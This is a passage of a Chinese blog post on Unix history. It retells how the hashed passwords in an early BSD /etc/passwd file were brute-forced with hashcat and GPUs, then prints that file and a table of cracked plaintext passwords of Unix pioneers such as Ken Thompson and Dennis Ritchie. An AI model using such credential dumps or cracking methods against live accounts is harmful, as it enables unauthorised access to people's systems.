src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186.jpeg\" alt=\"\" width=\"300\" height=\"186\" />50年前，除了Apollo上天之外，还有一个大事的发生，就是Unix操作系统的诞生，若干年前我写过《Unix的传奇，<a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\" rel=\"noopener noreferrer\">上篇</a>，<a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\" rel=\"noopener noreferrer\">下篇</a>》，Unix是我入行前十年伴我成长的操作系统，虽然现在Linux早已接过了Unix的时代交接棒，但是，Unix文化对我个人的技术观影响是非常大的（注：《<a href=\"https://book.douban.com/subject/1467587/\" target=\"_blank\" rel=\"noopener noreferrer\">Unix编程艺术</a>》是一本对影响我很深的书），而对于 <a href=\"https://en.wikipedia.org/wiki/Ken_Thompson\">Ken Thompson</a> 和 <a href=\"https://en.wikipedia.org/wiki/Dennis_Ritchie\" target=\"_blank\" rel=\"noopener noreferrer\">Dennis Ritchie</a> 这两位 Unix 的缔造者，也是计算机圈中的神一般的人物。今天，Dennis已经去逝，Ken在Google里跟 Rob Pike和 Robert Griesemer 这两位大神在开发Go语言。</p>\n<p>P.S. 今年，我一直想写篇Unix 50周年纪念的文章，但一直无从下手，因为不想写过大的命题，如果能写个轶事最好不过。正好过完国庆节，技术圈里有个“热搜”——Ken Thompson的密码。但一直没有时间，所以拖到今天才写下来。</p>\n<p>正文开始，2014年，有个叫Leah Neukirchen的程序员（<a href=\"https://leahneukirchen.org/blog/\" target=\"_blank\" rel=\"noopener noreferrer\">blog</a>）在 BSD 3 的源代码中的 <code><a href=\"https://leahneukirchen.org/blog/archive/2019/10/ken-thompson-s-unix-password.html\" target=\"_blank\" rel=\"noopener noreferrer\">/etc/passwd</a></code> 看到了早年Unix黑客们的被 hash了的密码，该文件如下所示：</p>\n<p><span id=\"more-19996\"></span></p>\n<pre>root:OVCPatZ8RFmFY:0:10:Ernie Co-vax,4156427925:/:\ndaemon:*:1:1:The devil himself:/:\nbill:.2xvLVqGHJm8M:8:10:&amp; Joy,4156424948:/usr/bill:/bin/csh\nozalp:m5syt3.lB5LAE:40:10:&amp; Babaoglu,4156423806:/usr/ozalp:/bin/csh\nsklower:8PYh/dUBQT9Ss:2:10:Keith &amp;,4156424972:/usr/staff/sklower:/bin/csh\nkridle:4BkcEieEtjWXI:3:10:Bob &amp;,4156426744:/usr/staff/kridle:/bin/csh\nkurt:olqH1vDqH38aw:4:10:&amp; Shoens,4156420572:/usr/staff/kurt:/bin/csh\nschmidt:FH83PFo4z55cU:7:10:Eric &amp;,4156424951:/usr/staff/schmidt:/bin/csh\nhpk:9ycwM8mmmcp4Q:9:10:Howard Katseff,2019495337:/usr/staff/hpk:/bin/csh\ntbl:cBWEbG59spEmM:10:10:Tom London,2019492006:/usr/staff/tbl:\njfr:X.ZNnZrciWauE:11:10:John Reiser:/usr/staff/jfr:\nmark:Pb1AmSpsVPG0Y:12:10:&amp; Horton,4156428311:/usr/staff/mark:/bin/csh\ndmr:gfVwhuAMF0Trw:42:10:Dennis Ritchie:/usr/staff/dmr:\nken:ZghOT0eRm4U9s:52:10:&amp; Thompson:/usr/staff/ken:\nsif:IIVxQSvq1V9R2:53:10:Stuart Feldman:/usr/staff/sif:\nscj:IL2bmGECQJgbk:60:10:Steve Johnson:/usr/staff/scj:\npjw:N33.MCNcTh5Qw:61:10:Peter J. Weinberger,2015827214:/usr/staff/pjw:/bin/csh\nbwk:ymVglQZjbWYDE:62:10:Brian W. Kernighan,2015826021:/usr/staff/bwk:\nuucp:P0CHBwE/mB51k:66:10:UNIX-to-UNIX Copy:/usr/spool/uucp:/usr/lib/uucp/uucico\nsrb:c8UdIntIZCUIA:68:10:Steve Bourne,2015825829:/usr/staff/srb:\nfinger::199:199:The &amp; Program:/usr/ucb:/usr/ucb/finger\nwho::199:199:The &amp; Program:/usr/ucb:/bin/who\nw::199:199:The &amp; Program:/usr/ucb:/usr/ucb/w\nmckusick:AAZk9Aj5/Ue0E:201:10:Kirk &amp;,4156424948:/usr/staff/mckusick:/bin/csh\npeter:Nc3IkFJyW2u7E:202:10:&amp; Kessler,4156424948:/usr/staff/peter:/bin/csh\nhenry:lj1vXnxTAPnDc:203:10:Robert &amp;,4156424948:/usr/staff/henry:/bin/csh\njkf:9ULn5cWTc0b9E:209:10:John Foderaro,4156424972:/usr/staff/jkf:/bin/csh\nfateman:E9i8fWghn1p/I:300:10:Richard &amp;,4156421879:/usr/staff/fateman:/bin/csh\nfabry:d9B17PTU2RTlM:305:10:Bob &amp;,4156422714:/usr/staff/fabry:/bin/csh\nnetwork:9EZLtSYjeEABE:501:50:*:/usr/net/network:/usr/net/network/nsh\ntty::504:50::/:/bin/tty我</pre>\n<p>（注，以前Unix是一个服务器，所有人都用一个终端到服务器上进行操作，于是，这个服务上的 <code>/etc/passwd</code> 下保存着所有的人的登录密码，能让所有的人都能读到，为了不让别人猜到，这个文件中的密码保存（第二列）被做过哈希处理）</p>\n<p>这位程序员一看，这些个用户不就是<a href=\"https://en.wikipedia.org/wiki/Dennis_Ritchie\" target=\"_blank\" rel=\"noopener noreferrer\">Dennis Ritchie</a>, <a href=\"https://en.wikipedia.org/wiki/Ken_Thompson\">Ken Thompson</a>, <a href=\"https://en.wikipedia.org/wiki/Brian_Kernighan\" target=\"_blank\" rel=\"noopener noreferrer\">Brian W. Kernighan</a>, <a href=\"https://en.wikipedia.org/wiki/Stephen_R._Bourne\" target=\"_blank\" rel=\"noopener noreferrer\">Steve Bourne</a>, <a href=\"https://en.wikipedia.org/wiki/Bill_Joy\" target=\"_blank\" rel=\"noopener noreferrer\">Bill Joy</a> 这些神人的密码吗？！于是，他想看看这些人用什么样的密码。考虑到当时的加密算法用的是基于DES的 <a href=\"https://minnie.tuhs.org/cgi-bin/utree.pl?file=V7/usr/man/man3/crypt.3\">crypt(3)</a> 算法（这个算法今天还在用，像Perl/PHP/Python/Ruby都提供<code>crypt()</code> 函数），而且当时的密码最长只支持8个长度，所以，感觉还是很容易暴力破解的。</p>\n<p>一般来说，暴力破解的这种hash密码的工具主要是用<a href=\"https://hashcat.net/\" target=\"_blank\" rel=\"noopener noreferrer\">hashcat</a> 或 <a href=\"https://www.openwall.com/john/\" target=\"_blank\" rel=\"noopener noreferrer\">john</a> ，很快，Leah 破解了大多数人的密码，因为大多数都使用的是比较弱的密码，比如： <a href=\"https://en.wikipedia.org/wiki/Brian_Kernighan\" target=\"_blank\" rel=\"noopener noreferrer\">Brian W. Kernighan</a> （<code>bwk</code>）使用了 <code>/.,/.,</code> 这样的密码，而 <a href=\"https://en.wikipedia.org/wiki/Dennis_Ritchie\" target=\"_blank\" rel=\"noopener noreferrer\">Dennis Ritchie</a> （<code>dmr</code>）则使用了 <code>dmac</code> 这样的密码。然后，在破解到 Ken Thompson的密码时，搞不定了，花了好几天穷举完了所有的小写字母+数字都没有找到。</p>\n<p>因为这个<code>crypt</code>的算法也是Ken Thompson 和 Robert Morris 写的，他们在40年前就发现，原来的hash算法太快了，这样很容易被暴力穷举，于是在第七版的Unix（1979年发布），他们把算法改成DES的算法，就是要让这个算法变慢。详细地说，用户密码被截断为八个字符，每个字符仅被压缩为7位。这形成56位DES密钥。然后，该密钥用于加密全零位块，然后再次使用相同的密钥对密文进行加密，依此类推，总共进行了25次DES加密。感觉跟区块链的“挖矿”有点像。<strong>在最早的Unix计算机上，这个算法需要花了整整一秒钟的时间来计算密码哈希</strong>。</p>\n<p>这几十年来，计算机的计算速度根据摩尔定律至少double了20次，所以，DES算法已经很容被攻击了，然而，对于Ken Thompson的密码，在2014年还是很不容易被破解的，因为，<strong>如果要加上所有的大小写字符数字和其它特殊字符，那么，在2014年，就算用最快的GPU来穷举所有的8位长度的密码，也需要花上至少2年以上的时间</strong>。</p>\n<p>在2019年10月份，在 <a href=\"https://www.tuhs.org/\">The Unix Heritage Society</a> 这个社区中，<a href=\"https://inbox.vuxu.org/tuhs/6dceffe228804a76de1e12f18d1fc0dc@inventati.org/\" target=\"_blank\" rel=\"noopener noreferrer\">这个事又被人问起来</a>，说以前有个人破解这些密码，不知道有没有全破解出来了？于是Leah看到了，就回应说，那个人是我，但是还是没干出来……于是好些人进来留言。</p>\n<p>5天后，2019年10月08日，一个来自澳大利亚的程序员Nigel Williams说，<a href=\"https://inbox.vuxu.org/tuhs/CACCFpdx_6oeyNkgH_5jgfxbxWbZ6VtOXQNKOsonHPF2=747ZOw@mail.gmail.com/\" target=\"_blank\" rel=\"noopener noreferrer\">Ken的密码我破解出来了</a>，哈希串<code>ZghOT0eRm4U9s</code> 明文是 <code>p/q2-q4!</code>（果然是有数字有特殊字符），小伙说，我在 AMD Radeon Vega 64 的 GPU上运行了 <code>hashcat</code> 这个命令，干了我 4天多，每秒钟的“配速”是930MH/s （每秒钟9亿3千万次hash运算）。然后，<a href=\"https://inbox.vuxu.org/tuhs/CAG=a+rj8VcXjS-ftaj8P2_duLFSUpmNgB4-dYwnTsY_8g5WdEA@mail.gmail.com/\" target=\"_blank\" rel=\"noopener noreferrer\">Ken Thompson 也留言到 “恭喜”</a> ，这样，Ken 的密码在40年后被破解了……</p>\n<p>马上，就有人问到，这个密码是不是国际象棋的走棋？嗯，很像中国象棋中的“车五进一”，“马三退一”，这个密码中的 <code>p</code> 代表 <code>pawn</code> 小兵，从 <code>q2</code> 的位置走到 <code>q4</code>，这个看来是国际象棋中的开局进兵——用来做登录密码，非常合适。而且，Ken Thompson 在 Unix中写下的一个国际象棋的程序 <a href=\"https://en.wikipedia.org/wiki/Belle_(chess_machine)\" target=\"_blank\" rel=\"noopener noreferrer\">Belle</a>，在1978年首次参加<a href=\"https://en.wikipedia.org/wiki/North_American_Computer_Chess_Championship\">计算机协会的北美计算机国际象棋锦标赛</a>时，它获得了第一个冠军头衔，其搜索深度为八层。之后又赢得了四次冠军。1983年，它也成为第一台获得国际象棋“大师”称号的计算机。所以，Ken用这个做密码相当make sense!</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.chess_.jpg\" alt=\"\" width=\"600\" height=\"800\" />Ken在贝尔实验室调程序（图片来源：<a href=\"https://spectrum.ieee.org/tech-history/silicon-revolution/in-1983-this-bell-labs-computer-was-the-first-machine-to-become-a-chess-master\" target=\"_blank\" rel=\"noopener noreferrer\">IEEE SPECTRUM</a>）</p>\n<p>当然，还有一个人的密码是所有人里最难破解的，这个人就是<a href=\"https://en.wikipedia.org/wiki/Bill_Joy\" target=\"_blank\" rel=\"noopener noreferrer\">Bill Joy</a>，他最初作为加州大学伯克利分校的研究生，在校期间着手改进Unix 内核，并管理BSD发行版。他最著名的贡献是ex和vi编辑器以及C shell。在Sun公司成立6个月后，他正式成为公司的联合创始人，他在Sun公司的推动了NFS，SPARC处理器，以及Java语言。他还是一个风险投资人员。</p>\n<p>在Ken的密被破解后两周（2019年10月19日），有人号称已经破解了Bill的密码，他在<a href=\"https://minnie.tuhs.org/pipermail/tuhs/2019-October/019124.html\" target=\"_blank\" rel=\"noopener noreferrer\">邮件组中这样写到</a>：</p>\n<blockquote><p>一开始，我使用了大小写字符和数字，8位长度来破解所有的组合，花了我6天的时间，失败了。然后，我开始尝试只用小写字母和控制字符，结果在40分钟内就破解了。但是因为Bill现健在，所以，只要bill同意他才公布这个密码。</p></blockquote>\n<p>在密码里存控制字符？这脑洞，Ctrl+C么？破解者还说，他在一个有三个结点的DELL 的HPC集群上完成这个工作，每个结点包括两个 Tesla V100 nVidia GPU 的显卡，一共30720个CUDA核…… 关于这个显卡多少钱，你可以上网搜吧…… 相当于一块劳力士吧……（我估计这组机器平时是用来挖矿的……[狗头]）</p>\n<p>好了，我们来看一下这个 <code>/etc/passwd</code> 中的这些人的密码是什么样的，<strong>但最主要的是向这些为人类做过巨大贡献的程序员科学家们致敬</strong>！</p>\n<ul>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Ken_Thompson\" target=\"_blank\" rel=\"noopener noreferrer\">Ken Thompson</a></strong><br />\n除了是Unix、B语言和Go语言作者之外，他还贡献过正则表达式，QED/ed编辑器，UTF-8编码定义，以及计算机国际象棋Belle……</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>ken</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>ZghOT0eRm4U9s</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>p/q2-q4!</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Dennis_Ritchie\" target=\"_blank\" rel=\"noopener noreferrer\">Dennis Ritchie</a></strong><br />\nUnix和C语言之父，与Ken于1983年获图灵奖，1990年美国国家海明奖章，于2011年去世。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>dmr</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>gfVwhuAMF0Trw</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>dmac</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Brian_Kernighan\" target=\"_blank\" rel=\"noopener noreferrer\">Brian W. Kernighan</a></strong><br />\nAWK的作者，是AWK中的“K”，也是与Dennis写的K&amp;C的C语言编程书中的“K”，他还编写了很多Unix的其它程序，如：<code>ditroff</code>，而且，设计了著名的<a href=\"https://en.wikipedia.org/wiki/Heuristic\" target=\"_blank\" rel=\"noopener noreferrer\">启发式算法</a>。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>bwk</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>ymVglQZjbWYDE</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>/.,/.,</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Stephen_R._Bourne\" target=\"_blank\" rel=\"noopener noreferrer\">Stephen R. Bourne</a></strong><br />\nBourne shell（<code>sh</code>）的作者，Unix Shell作者，同时也是Unix调试器的作者。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>srb</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>c8UdIntIZCUIA</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>bourne</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Eric_Schmidt\" target=\"_blank\" rel=\"noopener noreferrer\">Eric Schmidt</a></strong><br />\n你可能知道他是Google的CEO，苹果的董事，但是你可能不知道，他当年是是贝尔实施室的实习生，他对Unix的词法分析器 Lex 进行为了完全的重写。他的密码是中的wendy应该是他的妻子。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>schmidt</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>FH83PFo4z55cU</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>wendy!!!</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Stuart_Feldman\" target=\"_blank\" rel=\"noopener noreferrer\">Stuart Feldman</a></strong><br />\n他除了是Unix系统小组的成员，他还是第一个Fortran 77 编译器的作者，也是 <code>make</code> 的作者。他还是楼上Shmidt慈善基金会的科学负责人，在Google/IBM Research任过职，也担任过ACM的主席。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>sif</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>IIVxQSvq1V9R2</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>axolotl</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Mary_Ann_Horton\" target=\"_blank\" rel=\"noopener noreferrer\">Mark Horton</a></strong><br />\nUnix贡献者，包括vi和curses，后来变性为女性，新的名字叫Mary Ann Horton。原来的照片在<a href=\"http://www.ugu.com/sui/ugu/show?I=info.Mark_R._Horton\" target=\"_blank\" rel=\"noopener noreferrer\">Unix Guru Universe</a></p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>mark</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>Pb1AmSpsVPG0Y</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>uio</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Marshall_Kirk_McKusick\" target=\"_blank\" rel=\"noopener noreferrer\">Kirk McKusick</a></strong><br />\nBSD贡献者，主要负责文件系统UFS以及fsck命令，同时也是<code>gprof</code>的贡献者，公开的同性恋者。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>mckusick</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>AAZk9Aj5/Ue0E</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>foobar</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Richard_Fateman\" target=\"_blank\" rel=\"noopener noreferrer\">Richard Fateman</a></strong><br />\n他在伯克利的VAX UNIX系统的开发工作中发挥了重要作用，以及开发了<a href=\"https://en.wikipedia.org/wiki/Franz_Lisp\" target=\"_blank\" rel=\"noopener noreferrer\"> Franz Lisp</a>。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>fateman</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>E9i8fWghn1p/I</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>apr1744</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Peter Kessler</strong><br />\n这位老兄能在网上查到的资料基本没有，可以查到他是 <code>gprof</code> 的贡献者，以及有名字的<a href=\"https://web.eecs.umich.edu/~weimerw/2009-4610/reading/graham-gprof.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">gprof的一篇论文</a></p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>peter</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>Nc3IkFJyW2u7E</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>...hello</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Kurt Shoens</strong><br />\nBSD电子邮件开发者。Unix早期版本中使用 <code>uux</code> 和 <code>sendmail</code> 来进行远程消息传递，1978年，Kurt为Unix编写了一个邮件用户代理 Berkeley Mail。相关的历史可以参看<a href=\"http://heirloom.sourceforge.net/mailx_history.html\" target=\"_blank\" rel=\"noopener noreferrer\">这篇文章</a>。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>kurt</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>olqH1vDqH38aw</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>sacristy</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://franz.com/about/press_room/foderaro_2-2-2015.lhtml\" target=\"_blank\" rel=\"noopener noreferrer\">John Foderaro</a></strong><br />\n他为Berkeley的Lisp语言编写原始的编译器，Lisp语言是一种类似于数据代数的语言，在计算机历史上有和C语言一样的作用。后来他成立了Franz公司，主要开发和部署图形搜索解决方案。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>jkf</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>9ULn5cWTc0b9E</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>sherril.</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Peter_J._Weinberger\" target=\"_blank\" rel=\"noopener noreferrer\">Peter J. Weinberger</a></strong><br />\n他就是AWK中的那个“W”，同时也是Fortan编译器f77的贡献者，后来是<a title=\"\" href=\"https://en.wikipedia.org/wiki/Renaissance_Technologies\">Renaissance Technologies</a> （一家对冲基金）的CTO，现在在Google工作，</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>pjw</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>N33.MCNcTh5Qw</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>uucpuucp</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>John Reiser</strong><br />\n他主要工作是将Unix和C移植到了DEC VAX上，这个机器在学术界相当流行（陈皓注：我在1994年上大学的时候，就是在这个机器上学习的C语言）。这扩大了Unix和C的影响力。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>jfr</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>X.ZNnZrciWauE</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>5%ghj</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Stephen_C._Johnson\" target=\"_blank\" rel=\"noopener noreferrer\">Steve Johnson</a></strong><br />\n曾在贝尔实验室和AT＆T工作近20年。他以Yacc，Lint，spell和Portable C编译器而闻名。后来他去了硅谷，加入了一些创业公司，主要从事编译器的工作，以及2D和3D图形，大规模并行系统和嵌入式系统的开发工作。现在他在Wave Computing从事机器学习的工作。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>scj</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>IL2bmGECQJgbk</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>pdq;dq</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Bob Kridle</strong><br />\n这位老兄的资料在没有太多，只能在 <a href=\"https://www.oreilly.com/openbook/opensources/book/kirkmck.html_original\" target=\"_blank\" rel=\"noopener noreferrer\">Berkeley Unix 20 年</a> 上看到他跟Ken Thompson混过一段时间。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>kridle</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>4BkcEieEtjWXI</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>jilland1</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://people.eecs.berkeley.edu/~sklower/\" target=\"_blank\" rel=\"noopener noreferrer\">Keith Sklower</a></strong><br />\nBSD 的一个程序员。从他的主页上可以看到他目前在Berkeley大学，信息分析师，主要研究一些网络通信相关的技术。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>sklower</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>8PYh/dUBQT9Ss</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>theik!!!</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Robert Henry</strong><br />\n网上的资料不多，只在<a href=\"https://www.tuhs.org/Archive/Documentation/Books/Life_with_Unix.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Life with Unix</a>这本电子书中查到，他写了 <code>error</code></p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>henry</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>lj1vXnxTAPnDc</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>sn74193n</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Howard Katseff</strong><br />\n网上的资料不多，只在<a href=\"https://www.tuhs.org/Archive/Documentation/Books/Life_with_Unix.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Life with Unix</a>这本电子书中查到，他写了 <code>sdb</code> 和 <code>last</code></p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>hpk</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>9ycwM8mmmcp4Q</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>graduat;</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/%C3%96zalp_Babao%C4%9Flu\" target=\"_blank\" rel=\"noopener noreferrer\">Özalp Babaoğlu</a></strong><br />\n土耳其计算机科学家，1981年在Berkeley担任 BSD Unix的首席设计师，曾经与Sun的创造人Bill Joy在BSD上实现了虚拟内存。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>ozalp</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>m5syt3.lB5LAE</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>12ucdort</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Bob_Fabry\" target=\"_blank\" rel=\"noopener noreferrer\">Bob Fabry</a></strong><br />\n他主要推动美国国防部高级研究计划局DARPA采用了Unix系统</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>fabry</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>d9B17PTU2RTlM</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>561cml..</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Tom London</strong><br />\n他和John 